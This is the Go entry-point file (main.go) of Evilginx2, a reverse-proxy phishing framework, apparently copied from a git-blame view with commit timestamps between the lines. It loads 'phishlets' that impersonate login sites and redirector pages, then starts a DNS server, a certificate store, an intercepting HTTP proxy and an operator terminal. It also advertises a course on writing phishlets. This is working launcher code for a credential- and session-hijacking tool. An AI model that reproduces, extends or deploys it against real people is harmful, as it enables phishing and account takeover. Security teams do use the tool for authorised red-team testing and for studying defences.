2018-07-26 11:20:37 +02:00
package main
import (
"flag"
2023-05-10 11:04:32 +02:00
"fmt"
2024-03-01 15:42:19 +01:00
_log "log"
2018-07-26 11:20:37 +02:00
"os"
"os/user"
"path/filepath"
"regexp"
2024-03-01 15:42:19 +01:00
"github.com/caddyserver/certmagic"
2019-10-13 17:05:47 +02:00
"github.com/kgretzky/evilginx2/core"
"github.com/kgretzky/evilginx2/database"
"github.com/kgretzky/evilginx2/log"
2024-03-01 15:42:19 +01:00
"go.uber.org/zap"
2023-05-10 11:04:32 +02:00
"github.com/fatih/color"
2018-07-26 11:20:37 +02:00
)
var phishlets_dir = flag . String ( "p" , "" , "Phishlets directory path" )
2023-05-10 11:04:32 +02:00
var redirectors_dir = flag . String ( "t" , "" , "HTML redirector pages directory path" )
2018-07-26 11:20:37 +02:00
var debug_log = flag . Bool ( "debug" , false , "Enable debug output" )
2018-09-08 13:45:17 +02:00
var developer_mode = flag . Bool ( "developer" , false , "Enable developer mode (generates self-signed certificates for all hostnames)" )
2020-02-12 20:00:53 -05:00
var cfg_dir = flag . String ( "c" , "" , "Configuration directory path" )
2023-05-10 11:04:32 +02:00
var version_flag = flag . Bool ( "v" , false , "Show version" )
2018-07-26 11:20:37 +02:00
func joinPath ( base_path string , rel_path string ) string {
var ret string
if filepath . IsAbs ( rel_path ) {
ret = rel_path
} else {
ret = filepath . Join ( base_path , rel_path )
}
return ret
}
2023-05-10 11:04:32 +02:00
func showAd ( ) {
lred := color . New ( color . FgHiRed )
lyellow := color . New ( color . FgHiYellow )
white := color . New ( color . FgHiWhite )
message := fmt . Sprintf ( "%s: %s %s" , lred . Sprint ( "Evilginx Mastery Course" ) , lyellow . Sprint ( "https://academy.breakdev.org/evilginx-mastery" ) , white . Sprint ( "(learn how to create phishlets)" ) )
log . Info ( "%s" , message )
}
2018-07-26 11:20:37 +02:00
func main ( ) {
2023-05-10 11:04:32 +02:00
flag . Parse ( )
if * version_flag == true {
log . Info ( "version: %s" , core . VERSION )
return
}
2018-07-26 11:20:37 +02:00
exe_path , _ := os . Executable ( )
exe_dir := filepath . Dir ( exe_path )
core . Banner ( )
2023-05-10 11:04:32 +02:00
showAd ( )
2024-03-01 15:42:19 +01:00
_log . SetOutput ( log . NullLogger ( ) . Writer ( ) )
certmagic . Default . Logger = zap . NewNop ( )
certmagic . DefaultACME . Logger = zap . NewNop ( )
2018-07-26 11:20:37 +02:00
if * phishlets_dir == "" {
* phishlets_dir = joinPath ( exe_dir , "./phishlets" )
if _ , err := os . Stat ( * phishlets_dir ) ; os . IsNotExist ( err ) {
* phishlets_dir = "/usr/share/evilginx/phishlets/"
if _ , err := os . Stat ( * phishlets_dir ) ; os . IsNotExist ( err ) {
log . Fatal ( "you need to provide the path to directory where your phishlets are stored: ./evilginx -p <phishlets_path>" )
return
}
}
}
2023-05-10 11:04:32 +02:00
if * redirectors_dir == "" {
* redirectors_dir = joinPath ( exe_dir , "./redirectors" )
if _ , err := os . Stat ( * redirectors_dir ) ; os . IsNotExist ( err ) {
* redirectors_dir = "/usr/share/evilginx/redirectors/"
if _ , err := os . Stat ( * redirectors_dir ) ; os . IsNotExist ( err ) {
* redirectors_dir = joinPath ( exe_dir , "./redirectors" )
2020-09-14 13:10:53 +02:00
}
}
}
2018-07-26 11:20:37 +02:00
if _ , err := os . Stat ( * phishlets_dir ) ; os . IsNotExist ( err ) {
log . Fatal ( "provided phishlets directory path does not exist: %s" , * phishlets_dir )
return
}
2023-05-10 11:04:32 +02:00
if _ , err := os . Stat ( * redirectors_dir ) ; os . IsNotExist ( err ) {
os . MkdirAll ( * redirectors_dir , os . FileMode ( 0700 ) )
2020-09-14 13:10:53 +02:00
}
2018-07-26 11:20:37 +02:00
log . DebugEnable ( * debug_log )
if * debug_log {
log . Info ( "debug output enabled" )
}
phishlets_path := * phishlets_dir
log . Info ( "loading phishlets from: %s" , phishlets_path )
2020-02-12 20:00:53 -05:00
if * cfg_dir == "" {
2018-07-26 11:20:37 +02:00
usr , err := user . Current ( )
if err != nil {
log . Fatal ( "%v" , err )
return
}
2020-02-12 20:00:53 -05:00
* cfg_dir = filepath . Join ( usr . HomeDir , ".evilginx" )
2018-07-26 11:20:37 +02:00
}
2020-02-17 11:51:59 +01:00
2020-02-12 20:00:53 -05:00
config_path := * cfg_dir
2020-02-17 11:51:59 +01:00
log . Info ( "loading configuration from: %s" , config_path )
2020-02-12 20:00:53 -05:00
err := os . MkdirAll ( * cfg_dir , os . FileMode ( 0700 ) )
2018-07-26 11:20:37 +02:00
if err != nil {
log . Fatal ( "%v" , err )
return
}
2020-02-12 20:00:53 -05:00
crt_path := joinPath ( * cfg_dir , "./crt" )
2018-07-26 11:20:37 +02:00
2020-02-12 20:00:53 -05:00
cfg , err := core . NewConfig ( * cfg_dir , "" )
2018-07-26 11:20:37 +02:00
if err != nil {
log . Fatal ( "config: %v" , err )
return
}
2023-05-10 11:04:32 +02:00
cfg . SetRedirectorsDir ( * redirectors_dir )
2018-07-26 11:20:37 +02:00
2020-02-12 20:00:53 -05:00
db , err := database . NewDatabase ( filepath . Join ( * cfg_dir , "data.db" ) )
2018-07-26 11:20:37 +02:00
if err != nil {
log . Fatal ( "database: %v" , err )
return
}
2020-09-14 13:10:53 +02:00
bl , err := core . NewBlacklist ( filepath . Join ( * cfg_dir , "blacklist.txt" ) )
if err != nil {
log . Error ( "blacklist: %s" , err )
return
}
2024-03-01 15:42:19 +01:00
files , err := os . ReadDir ( phishlets_path )
2018-07-26 11:20:37 +02:00
if err != nil {
log . Fatal ( "failed to list phishlets directory '%s': %v" , phishlets_path , err )
return
}
for _ , f := range files {
if ! f . IsDir ( ) {
2018-09-08 16:02:48 +02:00
pr := regexp . MustCompile ( ` ([a-zA-Z0-9\-\.]*)\.yaml ` )
2018-07-26 11:20:37 +02:00
rpname := pr . FindStringSubmatch ( f . Name ( ) )
if rpname == nil || len ( rpname ) < 2 {
continue
}
pname := rpname [ 1 ]
if pname != "" {
2023-05-10 11:04:32 +02:00
pl , err := core . NewPhishlet ( pname , filepath . Join ( phishlets_path , f . Name ( ) ) , nil , cfg )
2018-07-26 11:20:37 +02:00
if err != nil {
log . Error ( "failed to load phishlet '%s': %v" , f . Name ( ) , err )
continue
}
cfg . AddPhishlet ( pname , pl )
}
}
}
2023-05-10 11:04:32 +02:00
cfg . LoadSubPhishlets ( )
cfg . CleanUp ( )
2018-07-26 11:20:37 +02:00
ns , _ := core . NewNameserver ( cfg )
ns . Start ( )
2023-05-10 11:04:32 +02:00
crt_db , err := core . NewCertDb ( crt_path , cfg , ns )
2018-07-26 11:20:37 +02:00
if err != nil {
log . Fatal ( "certdb: %v" , err )
return
}
2023-07-11 10:03:54 +02:00
hp , _ := core . NewHttpProxy ( cfg . GetServerBindIP ( ) , cfg . GetHttpsPort ( ) , cfg , crt_db , db , bl , * developer_mode )
2018-07-26 11:20:37 +02:00
hp . Start ( )
2020-09-14 13:10:53 +02:00
t , err := core . NewTerminal ( hp , cfg , crt_db , db , * developer_mode )
2018-07-26 11:20:37 +02:00
if err != nil {
log . Fatal ( "%v" , err )
return
}
t . DoWork ( )
}